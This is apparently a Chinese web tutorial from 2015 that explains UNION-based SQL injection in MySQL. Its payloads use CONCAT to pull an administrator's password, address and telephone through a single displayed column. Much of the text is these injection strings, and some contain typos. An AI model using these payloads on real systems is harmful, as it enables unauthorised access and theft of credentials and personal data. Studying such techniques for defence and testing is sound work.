Mysql數(shù)據(jù)庫(kù)使用concat函數(shù)執(zhí)行SQL注入查詢
更新時(shí)間：2015年04月09日 10:04:08 投稿：junjie
這篇文章主要介紹了Mysql數(shù)據(jù)庫(kù)使用concat函數(shù)執(zhí)行SQL注入查詢,concat函數(shù)在SQL注入查詢中會(huì)有意想不到的作用,本文就起講解它的使用,需要的朋友可以參考下
SQL注入語(yǔ)句有時(shí)候會(huì)使用替換查詢技術(shù)，就是讓原有的查詢語(yǔ)句查不到結(jié)果出錯(cuò)，而讓自己構(gòu)造的查詢語(yǔ)句執(zhí)行，并把執(zhí)行結(jié)果代替原有查詢語(yǔ)句查詢結(jié)果顯示出來(lái)。
例如：原本查詢語(yǔ)句是
復(fù)制代碼 代碼如下:
select username,email,content from test_table where user_id=uid;
其中uid,是用戶輸入的。正常顯示結(jié)果會(huì)出現(xiàn)用戶名，用戶郵箱，用戶留言內(nèi)容。但是如果uid過(guò)濾不嚴(yán)，我們可以構(gòu)造如下SQL語(yǔ)句來(lái)獲得任意數(shù)據(jù)表信息。
復(fù)制代碼 代碼如下:
uid=-1 union select username ,password,content from test_talbe where user_id=管理員id;
實(shí)際執(zhí)行就是
復(fù)制代碼 代碼如下:
select username,email,content from test_table where user_id=－1 union select username ,password,content from test_talbe where user_id=管理員id;
其中顯示正常用戶emai的地方，變成了顯示管理員的密碼了。
但是，往往事情并不是這么簡(jiǎn)單，首先要找到漏洞，其次構(gòu)造這種語(yǔ)句時(shí)候要考慮各個(gè)字段的類型，讓int或samllint類型的字段顯示varchar顯然不合適。最后就是本文要說(shuō)的。
如果出現(xiàn)問(wèn)題的SQL語(yǔ)句只有一個(gè)或兩個(gè)字段怎么辦，我們想知道很多東西，一兩個(gè)字段太少了，遠(yuǎn)遠(yuǎn)不能滿足我們的需要。那么我們可以使用concat函數(shù)。
concat函數(shù)本來(lái)是這樣用的SELECT CONCAT('My', 'S', 'QL');執(zhí)行結(jié)果是'MySQL'。也就是連接作用的。我們利用它來(lái)為我們服務(wù)，
復(fù)制代碼 代碼如下:
uid=-1 union select username ,concat(password,sex,address,telephone),content from test_talbe where user_id=管理員id;
這個(gè)語(yǔ)句實(shí)際查詢了六個(gè)字段，但是顯示的時(shí)候，把password,sex,address,telephone等字段合在一起，顯示在原本應(yīng)該顯示email的地方。
更好的方法：中間用分隔符分開(kāi)：
復(fù)制代碼 代碼如下:
uid=-1 union select username ,concat(password,0×3a,sex,0×3a,address,0×3a,telephone) ,content from test_talbe where user_id=管理員id;
其中0×3a是“:”的十六進(jìn) 制形式。
您可能感興趣的文章:
- 淺談三種數(shù)據(jù)庫(kù)的?SQL?注入
- 數(shù)據(jù)庫(kù)之SQL注入原理以及過(guò)程的簡(jiǎn)單介紹
- 一個(gè)簡(jiǎn)單的后臺(tái)與數(shù)據(jù)庫(kù)交互的登錄與注冊(cè)[sql注入處理、以及MD5加密]
- sql注入數(shù)據(jù)庫(kù)修復(fù)的兩種實(shí)例方法
- 數(shù)據(jù)庫(kù)SqlParameter 的插入操作,防止sql注入的實(shí)現(xiàn)代碼
- SQL數(shù)據(jù)庫(kù)的高級(jí)sql注入的一些知識(shí)
- 數(shù)據(jù)庫(kù)中的內(nèi)容字段被掛馬的替換方法 SQL注入
- ASP+MSSQL2000 數(shù)據(jù)庫(kù)被批量注入后的解決方法
- sql注入數(shù)據(jù)庫(kù)原理詳情介紹
相關(guān)文章
SQL語(yǔ)句中LEFT JOIN的ON和WHERE有什么區(qū)別
這篇文章主要介紹了SQL語(yǔ)句中LEFT JOIN的ON和WHERE之間的區(qū)別，文中通過(guò)示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)吧2022-12-12
本文主要介紹了MySql死鎖怎么排查的方法實(shí)現(xiàn),文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2025-02-02
windows下MySQL5.6版本安裝及配置過(guò)程附有截圖和詳細(xì)說(shuō)明
這篇文章主要介紹了windows下MySQL5.6版本安裝及配置過(guò)程附有截圖和詳細(xì)說(shuō)明，需要的朋友可以參考下2013-06-06
MySQL 是一種關(guān)系型數(shù)據(jù)庫(kù)，在Java企業(yè)級(jí)開(kāi)發(fā)中非常常用，因?yàn)?MySQL 是開(kāi)源免費(fèi)的，并且方便擴(kuò)展MySQL是開(kāi)放源代碼的，因此任何人都可以在 GPL的許可下下載并根據(jù)個(gè)性化的需要對(duì)其進(jìn)行修改2021-06-06
我們是否看到過(guò)在公司中許多查詢語(yǔ)句都是select * xxxx，本文就主要介紹了MySQL之select優(yōu)化方案，具有一定的參考價(jià)值，感興趣的可以了解一下2021-08-08
這篇文章主要介紹了MySQL子查詢用法,結(jié)合實(shí)例形式對(duì)比分析了MySQL子查詢的設(shè)置技巧,需要的朋友可以參考下2016-04-04
MySQL生成千萬(wàn)測(cè)試數(shù)據(jù)以及遇到的問(wèn)題
前兩天發(fā)現(xiàn)同事要做一個(gè)對(duì)大表進(jìn)行范圍查詢的功能,所以需要生成千萬(wàn)數(shù)據(jù)進(jìn)行性能測(cè)試,下面這篇文章主要給大家介紹了關(guān)于MySQL生成千萬(wàn)測(cè)試數(shù)據(jù)以及遇到的問(wèn)題的相關(guān)資料,文中通過(guò)實(shí)例代碼介紹的非常詳細(xì),需要的朋友可以參考下2022-08-08
這篇文章主要介紹了mysql 重要日志文件的匯總，幫助大家更好的理解和使用MySQL數(shù)據(jù)庫(kù)，感興趣的朋友可以了解下2020-11-11
我一直是使用mysql這個(gè)數(shù)據(jù)庫(kù)軟件，它工作比較穩(wěn)定，效率也很高。2009-05-05
解決mysql數(shù)據(jù)庫(kù)導(dǎo)入sql文件不成功的問(wèn)題
這篇文章主要介紹了解決mysql數(shù)據(jù)庫(kù)導(dǎo)入sql文件不成功的問(wèn)題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2023-11-11